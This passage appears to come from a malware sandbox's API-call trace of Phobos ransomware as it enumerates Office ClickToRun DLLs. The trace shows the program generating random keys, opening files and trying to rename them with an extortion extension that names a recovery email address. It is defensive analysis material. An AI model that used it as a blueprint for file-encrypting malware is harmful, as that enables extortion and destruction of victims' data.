returned 0xffffffff [0149.229] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.229] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19136) returned 1 [0149.229] CloseHandle (hObject=0x57c) returned 1 [0149.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x20 [0149.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.230] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.230] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=162880) returned 1 [0149.230] CloseHandle (hObject=0x57c) returned 1 [0149.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20 [0149.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.231] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.231] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=656088) returned 1 [0149.231] CloseHandle (hObject=0x57c) returned 1 [0149.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20 [0149.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.232] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.232] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2054872) returned 1 [0149.232] CloseHandle (hObject=0x57c) returned 1 [0149.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 0x20 [0149.232] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0149.233] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 0 [0149.233] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.233] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=307416) returned 1 [0149.233] CloseHandle (hObject=0x57c) returned 1 [0149.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20 [0149.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.234] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.234] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2118360) returned 1 [0149.234] CloseHandle (hObject=0x57c) returned 1 [0149.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20 [0149.234] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0149.234] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0 [0149.235] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.235] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=468696) returned 1 [0149.235] CloseHandle (hObject=0x57c) returned 1 [0149.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20 [0149.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.235] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.236] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=396960) returned 1 [0149.236] CloseHandle (hObject=0x57c) returned 1 [0149.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 0x20 [0149.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.237] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.237] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=473760) returned 1 [0149.237] CloseHandle (hObject=0x57c) returned 1 [0149.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20 [0149.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.238] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.238] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=210648) returned 1 [0149.238] CloseHandle (hObject=0x57c) returned 1 [0149.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20 [0149.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.239] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.239] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1402584) returned 1 [0149.239] CloseHandle (hObject=0x57c) returned 1 [0149.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20 [0149.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.240] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.240] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1761448) returned 1 [0149.240] CloseHandle (hObject=0x57c) returned 1 [0149.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")) returned 0x20 [0149.240] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0149.240] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")) returned 0 [0149.241] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.241] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2285736) returned 1 [0149.241] CloseHandle (hObject=0x57c) returned 1 [0149.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0x20 [0149.241] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0149.241] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0 [0149.242] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.242] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=567512) returned 1 [0149.242] CloseHandle (hObject=0x57c) returned 1 [0149.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20 [0149.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.242] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.243] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1231576) returned 1 [0149.243] CloseHandle (hObject=0x57c) returned 1 [0149.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20 [0149.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.243] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.243] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=947928) returned 1 [0149.244] CloseHandle (hObject=0x57c) returned 1 [0149.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20 [0149.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 